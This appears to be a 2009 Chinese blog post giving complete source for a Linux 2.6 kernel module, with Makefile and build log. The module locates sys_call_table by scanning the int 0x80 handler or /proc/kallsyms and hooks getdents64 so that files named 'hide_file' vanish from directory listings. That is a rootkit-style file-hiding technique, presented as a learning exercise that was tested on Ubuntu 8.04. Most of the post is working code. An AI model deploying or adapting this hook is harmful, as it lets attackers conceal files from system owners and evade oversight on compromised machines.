分类: LINUX
2009-09-11 10:53:46
很 久以前写过一个在Windows系统上面隐藏文件的驱动,所以也想试一下Linux上面如何可以实现该功能。前几天看到Linux系统调用方面的文章,刚 好看到相关的东西,所以就试了一下。还真的可以。这┨炜戳撕芏嘞喙氐奈恼拢 薹ㄒ灰涣谐隼矗 旅婧芏嗟胤接玫降暮 捕际歉粗苹蛘卟慰剂吮鹑说拇 搿?总结一下吧。
1. 首先,要知道Linux系统里面有一个叫做sys_call_table这个系统调用列表的指针。其实就是很多系统调用函数的指针列表。 这个东西其实和Windows系统的SSDT几乎一样的东西,很多人也很喜欢去修改SSDT表进而做些猥琐的事情。把ssdt hook的方法用到sys_call_table上面,也可以做到替换文件查询函数,就可以做到隐藏文件。
2. sys_call_table 这个指针有很多方法可以得到的,2.4内核还是导出的,直接用就行,2.6内核上面就要自己写代码来找了,有很多方法,根据0x80中断的处理函数来搜索指令,或者读/proc/kallsyms 得到sysenter_entry 地址在搜索得到sys_call_table
3.知道sys_call_table 就可以替换相关的系统调用函数来隐藏文件了。
可以通过strace 命令来查看某个程序或者命令调用了哪些syscall 函数。
运 行“strace ls” 可以看到ls命令是调用了getdents64这个函数来得到文件夹下面的文件的,所以我们只要拦截这个系统调用,然后做些处理就行了。具体实现看代码就 知道了。不过很有意思的,发现Linux查找文件夹所有文件时函数返回的那个文件列表缓存结构和Windows里面采用的都是很类似的,都是一个列表结 构,隐藏文件所采用的方法也几乎一成不变的移植过来使用。其实Windows和Linux很多思想或概念都是很类似的,可能一方出现某个优秀的想法也会被其他人学习使用吧。
4. 网上很多人说可以使用ptrace函数来做到同样的拦截系统调用的效果,我也去看了一下相关文档,发现ptrace更像是Linux提供给用户空间程序调 试另外一个程序的接口。确实可以用来做到检测程序调用了哪些系统调用函数(不知道strace是不是就是通过这个来做的),不过用来实现拦截系统调用,可 能比较复杂,至少我这么认为,还不如sys_call_table的方法来的简单。ptrace更重要的目的是调试功能,比如向另外一个进程空间读写数据 等,设置调试断点等等。感兴趣的可以自己搜索一下。
5. 网上还有直接同过修改内核镜像设备的内存映射 /dev/kmem 来实现拦截系统调用的方法。有优点是在普通的用户程序里面就可以做,不用写内核模块,不过需要跟多的技巧,可以自己搜索一下。
6. Linux的编程,相对Windows来说还是很方便的,开发工具用系统里面的gcc就可以了,不想Windows要写个驱动要找半天才能弄到个 winDDK来玩。如果发现问题,还可以翻看对应的内核的源代码,看具体是怎么回事,不像Windows地球人都知道是不开源的了。不过Linux相对来 说文档好像不是那么多,没有人专门去写MSDN这种帮助开发者学习的文档吧,有的函数搜索半天也搜索不到一个说明,你就算直接去看内核源代码也是很不方便 的。
具体的代码如下:
====================================================
#include
#include
#include
#include
//sys_read sys_open等系统调用函数
#include
#include
//flags e.g. O_RDWR , O_EXCL
#include
#include
#include
//get_ds() set_fs() get_fs()
#include
#include
#include
/*在内核 版本为linux-2.6.25.7的内核源代码的arch/x86/kernel/entry_32.S 文件中 可以看到
sysenter call 和 system_call 的处理部分的源代码
-------------
# system call handler stub
ENTRY(system_call)
RING0_INT_FRAME # can't unwind into user space anyway
pushl %eax # save orig_eax
CFI_ADJUST_CFA_OFFSET 4
SAVE_ALL
GET_THREAD_INFO(%ebp)
# system call tracing in operation / emulation
Note, _TIF_SECCOMP is bit number 8, and so it needs testw and not testb
testw $(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT),TI_flags(%ebp)
jnz syscall_trace_entry
cmpl $(nr_syscalls), %eax
jae syscall_badsys
syscall_call:
call *sys_call_table(,%eax,4) 这里可以得到地址的位置
movl %eax,PT_EAX(%esp) # store the return value
syscall_exit:
LOCKDEP_SYS_EXIT
DISABLE_INTERRUPTS(CLBR_ANY) # make sure we don't miss an interrupt
# setting need_resched or sigpending
-------------------------
可以看到最后都是跳转大到sys_call_table 指定的地址上去
arch/x86/kernel/traps_32.c 中的trap_init 函数中可以看到设置
set_system_gate(SYSCALL_VECTOR,&system_call);
这是设置0x80号中断为system_call 函数来处理的
在asm-x86/hw_irq_64.h 文件中有
#define IA32_SYSCALL_VECTOR 0x80
的定义
ls
arch crypto include kernel Makefile net scripts usr
block Documentation init lib mm README security virt
COPYING drivers ipc lost+found modules.order REPORTING-BUGS sound vmlinux
CREDITS fs Kbuild MAINTAINERS Module.symvers samples System.map vmlinux.o
gdb -q vmlinux
(gdb) disass system_call
Dump of assembler code for function system_call:
0xc0104df0
0xc0104df1
0xc0104df2
0xc0104df4
0xc0104df5
0xc0104df6
0xc0104df7
0xc0104df8
0xc0104df9
0xc0104dfa
0xc0104dfb
0xc0104dfc
0xc0104dfd
0xc0104e02
0xc0104e04
0xc0104e06
0xc0104e0b
0xc0104e0d
0xc0104e12
0xc0104e14
0xc0104e1a
0xc0104e20
0xc0104e25
0xc0104e2b
0xc0104e32
0xc0104e36
0xc0104e37
0xc0104e38
0xc0104e39
0xc0104e3a
0xc0104e41
0xc0104e42
0xc0104e43
0xc0104e44
0xc0104e45
0xc0104e4d
0xc0104e4f
(gdb) x/xw system_call+59
0xc0104e2b
(gdb) x/xw 0xc0104e2e
0xc0104e2e
*/
/*
extern void * sys_call_table[];
2.6内核中 sys_call_table 的地址已经不被导出了,可以在System.map 找到,
但你要确保这个System.map 是和当前的系统内核是对应的才行
桌面/驱动学习# cat /boot/System.map-2.6.24-18-generic | grep sys_call
c0325520 R sys_call_table
运行时可以根据/proc/kallsyms 来得到正确的地址
桌面/驱动学习# grep sysenter_entry /proc/kallsyms
c0104350 T sysenter_entry
桌面/驱动学习# cat /proc/kallsyms |grep sys_call_table
c0325520 R sys_call_table
1。从 System.map 文件直接得到地址。
例如,要得到 do_fork 的地址,可以在命令行执行 $grep do_fork /usr/src/linux/System.map 。
2。使用 nm 命令。
$nm vmlinuz |grep do_fork
3。从 /proc/kallsyms 文件获得地址。 2.4版本的内核是/proc/ksyms 文件
$cat /proc/kallsyms |grep do_fork
4。使用 kallsyms_lookup_name() 例程。
这个例程是在 kernel/kallsyms.c 文件中定义的,要使用它,必须启用 CONFIG_KALLSYMS 编译内核。
kallsyms_lookup_name() 接受一个字符串格式内核例程名,返回那个内核例程的地址。例如:
kallsyms_lookup_name("do_fork");
*/
void ** sys_call_table; /*保存获取到的sys_call_table 指针*/
asmlinkage long (*orig_getdents64)(unsigned int fd,struct linux_dirent64 *dirp,unsigned int count); /*保存原来系统调用函数getdents64的地址*/
/*
struct linux_dirent64 {
u64 d_ino; //inode number
s64 d_off; // offset to next dirent ,这个不知道是什么来,数值一直都很大,估计是磁盘上的偏移?
unsigned short d_reclen; // length of this dirent
unsigned char d_type;
char d_name[0]; //filename (null-terminated)
};
*/
// 中断描述符表寄存器结构
struct _idtr{
unsigned short limit;
unsigned int base;
} __attribute__((packed)) idtr ; //取消内存字节对齐,这样 sizeof(struct _idtr)=6,否则sizeof(struct _idtr)=8,实际执行时就会出错
// 中断描述符表结构
struct idt_descriptor
{
unsigned short off_low;
unsigned short sel;
unsigned char none, flags;
unsigned short off_high;
} __attribute__((packed));
/*通过0x80中断得到system_call 函数地址*/
void *get_system_call(void)
{
struct idt_descriptor * idt;
void *addr=NULL;
asm ("sidt %0" : "=m" (idtr));
idt = (void*)((unsigned long*)(idtr.base));
printk("idt : %x\n", (unsigned int)idt); //在virtualbox虚拟机上这个不能获取到正确的值
addr = (void*)(((unsigned int )idt[0x80].off_low) |
(((unsigned int)idt[0x80].off_high) << 16));
printk("system_call entry: %x\n", (unsigned int) addr);
//printk("size of _idtr: %d\n", sizeof(struct _idtr));
return addr;
}
/* 得到 sys_call_table 列表指针 */
void *get_sys_call_table(void *system_call)
{
unsigned char *p;
unsigned long s_c_t;
int count = 0;
p = (unsigned char *) system_call;
/*
* 查找机器码得到 sys_call_table 的地址
* `call sys_call_table(, %eax, 4)`
*/
while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))
{
p++;
if (count++ > 500)
{
count = -1;
break;
}
}
if (count != -1)
{
p += 3;
s_c_t = *((unsigned long *) p);
}
else
s_c_t = 0;
return((void *) s_c_t);
}
/**
* 读取 /proc/kallsyms 文件,
* 从中解释出 sysenter 入口的地址, 成功就返回 地址,否则返回0
# cat /proc/kallsyms | grep sysenter_entry
c0104350 T sysenter_entry
*/
void * get_sysenter_entry(void)
{
void *sysenter_entry =NULL; /*保存获取到的sysenter_entry入口地址*/
mm_segment_t old_fs;
// int fd;
char line[256];
int i = 0;
struct file *file = NULL; //Stores information related to files opened by a process
//配置段寄存器ds segment register
//通知系统,以后的系统调用(read 等)参数,来自内核内存区,而不是用户内存区
//因为默认系统会把,系统调用的参数单作来自用户空间的,会作一些检查,然后把他
//转化成内核空间的地址。所以要通知他我们这里传的参数都是已经来自内核空间的了,他
//才不会报错,专家的建议是尽量不要在内核中进行文件操作
old_fs = get_fs();
set_fs(get_ds());
// sys_open 和sys_read 说是不推荐使用了 ,
//fs/open.c 文件中有如下一句,
//EXPORT_UNUSED_SYMBOL_GPL(sys_open); /* To be deleted for 2.6.25 */
//从2.6.25中就不再导出这两个函数了,因为在内核中读取文件被认为是一种非常不好的办法。
/* 下面这个方法在2.6.24版本的内核是还是可以正常工作的,下面用 filp_open 的方法来实现吧。
fd = sys_open("/proc/kallsyms", O_RDONLY, 0);
if (fd >= 0)
{
while (sys_read(fd, &line[i], 1) == 1)
{
if (line[i] == '\n')
{
line[i] ='\0';
i=0;
//到这里时,line中保存一行数据
if (strstr(line,"sysenter_entry") != NULL)
{
sysenter_entry =(void *) simple_strtoul(line,NULL,16);
break;
}
}
if (i< 254)
{
i++;
}
}
sys_close(fd);
}
*/
file = filp_open("/proc/kallsyms",O_RDONLY,0);
if (file ==NULL) return NULL;
if (file->f_op->read ==NULL) return NULL;
//每次从文件中读取一个字节到 line里面,&file->f_pos 指定要开始读的位置,
//可能这种方法比较地效率,不过还是可以正确工作的,也只在最开始的时候调用一次,应该问题不大
while ( file->f_op->read(file, &line[i], 1,&file->f_pos) == 1)
{
if (line[i] == '\n')
{
line[i] ='\0';
i=0;
//到这里时,line中保存一行数据
if (strstr(line,"sysenter_entry") != NULL)
{
sysenter_entry =(void *) simple_strtoul(line,NULL,16);
break;
}
}
if (i< 254)
{
i++;
}
}
filp_close(file,NULL);
set_fs(old_fs); //还原最初的fs
return sysenter_entry;
}
// asmlinkage告诉编译器所有的参数都是通过堆栈来传递,不要优化成使用寄存器的调用方式
///原本的sys_getdents64 在内核源代码的 fs/readdir.c 文件中定义
asmlinkage long my_getdents64(unsigned int fd,struct linux_dirent64 *dirp,unsigned int count)
{
unsigned int bufLength, recordLength, modifyBufLength;
struct linux_dirent64 * dirp2, *dirp3,
*head = NULL, //进行修改时,指向正确的列表的头条记录
*prev = NULL; //进行修改时,指向列表中上一项记录
char hide_file[]="hide_file"; /*我们要隐藏的文件名字*/
bufLength = (*orig_getdents64) (fd, dirp, count); /*调用原本函数得到文件夹信息*/
//printk("bufLength:%u\n", bufLength);
if (bufLength <= 0 ) return bufLength ; //如果函数调用出错,直接返回好了
/*申请内核空间*/
dirp2 = (struct linux_dirent64 *)kmalloc(bufLength, GFP_KERNEL);
if (!dirp2) return bufLength;
/* 把已经得到的文件夹信息从用户空间复制出来*/
if (copy_from_user(dirp2, dirp, bufLength) )
{
printk("fail to copy dirp to dirp2 \n");
return bufLength;
}
head = dirp2;
dirp3 = dirp2;
modifyBufLength = bufLength;
while (((unsigned long )dirp3) <(((unsigned long) dirp2)+ bufLength))
{
recordLength = dirp3->d_reclen;
//printk("length:%u ",recordLength);
if ( recordLength == 0)
{
//有些文件系统getdents函数没能正确运行
break;
}
// 是否是我们要隐藏的文件
if (strncmp(dirp3->d_name, hide_file ,strlen(hide_file)) ==0)
{
if (!prev) //整个列表中的第一个记录就是我们要隐藏的文件
{
head = (struct linux_dirent64 *)((char *) dirp3 + recordLength);
modifyBufLength -= recordLength;
}
else{ // 修改前一个记录长度,去掉我们要隐藏的文件纪录
prev->d_reclen += recordLength;
memset(dirp3, 0, recordLength );
}
}
else
{
prev= dirp3;
}
//继续下一条记录查找
dirp3 = (struct linux_dirent64 *)
((char *) dirp3+ recordLength);
}
// 用我们修改后的文件信息覆盖原有用户空间的文件信息
copy_to_user (dirp, head, modifyBufLength);
kfree(dirp2);
return modifyBufLength;
}
int init_module(void)
{
/*
/usr/include/sys/syscall.h 有system call函数的号码定义 ,
也可以写作 SYS__getdents64 的,不过都是在# include
在/usr/include/asm/unistd.h 有system call函数的号码定义
#define __NR_getdents64 220
*/
void *s_call, *sysenter_entry;
//采用0x80系统中断获取system_call函数地址的方法来获取sys_call_table地址
s_call = get_system_call();
if (s_call ==NULL) return (-1);
sys_call_table = get_sys_call_table(s_call);
printk("sys_call_table: 0x%08x\n", (int) sys_call_table);
//采用第二种方法来根据sysenter_entry地址来获取得到sys_call_table地址
if (sys_call_table == NULL){
sysenter_entry=get_sysenter_entry();
printk("sysenter_entry: 0x%08x\n", (int) sysenter_entry);
if (sysenter_entry ==NULL) return (-1);
sys_call_table = get_sys_call_table(sysenter_entry);
printk("sys_call_table: 0x%08x\n", (int) sys_call_table);
if (sys_call_table ==NULL)
{
return(-1);
}
}
//检测获取到的地址是不是正确的,
if (sys_call_table[__NR_close] != (unsigned long *)sys_close)
{
printk("Incorrect sys_call_table address.\n");
return -1;
}
//替换相关函数的调用地址表
orig_getdents64=sys_call_table[__NR_getdents64];
sys_call_table[__NR_getdents64]=my_getdents64;
return 0;
}
void cleanup_module(void)
{
sys_call_table[__NR_getdents64]=orig_getdents64;
}
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Hide file Kernel Module");
MODULE_AUTHOR("widebright");
===================Makefile内容============================
# If KERNELRELEASE is defined, we've been invoked from the
# kernel build system and can use its language.
ifneq ($(KERNELRELEASE),)
obj-m := hook_system_call.o
# Otherwise we were called directly from the command
# line; invoke the kernel build system.
else
KERNELDIR ?= /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
default:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules
clean:
$(MAKE) -C $(KERNELDIR) M=$(PWD) clean
endif
===================================================
桌面/驱动学习# make clean
make -C /lib/modules/2.6.24-18-generic/build M=/home/widebright/桌面/驱动学习 clean
make[1]: Entering directory `/usr/src/linux-headers-2.6.24-18-generic'
CLEAN /home/widebright/桌面/驱动学习/.tmp_versions
CLEAN /home/widebright/桌面/驱动学习/Module.symvers
make[1]: Leaving directory `/usr/src/linux-headers-2.6.24-18-generic'
桌面/驱动学习# make
make -C /lib/modules/2.6.24-18-generic/build M=/home/widebright/桌面/驱动学习 modules
make[1]: Entering directory `/usr/src/linux-headers-2.6.24-18-generic'
CC [M] /home/widebright/桌面/驱动学习/hook_system_call.o
Building modules, stage 2.
MODPOST 1 modules
CC /home/widebright/桌面/驱动学习/hook_system_call.mod.o
LD [M] /home/widebright/桌面/驱动学习/hook_system_call.ko
make[1]: Leaving directory `/usr/src/linux-headers-2.6.24-18-generic'
然后用insmod命令加载驱动,就可以隐藏 hide_file开始的文件,在ubuntu8.04上面测试通过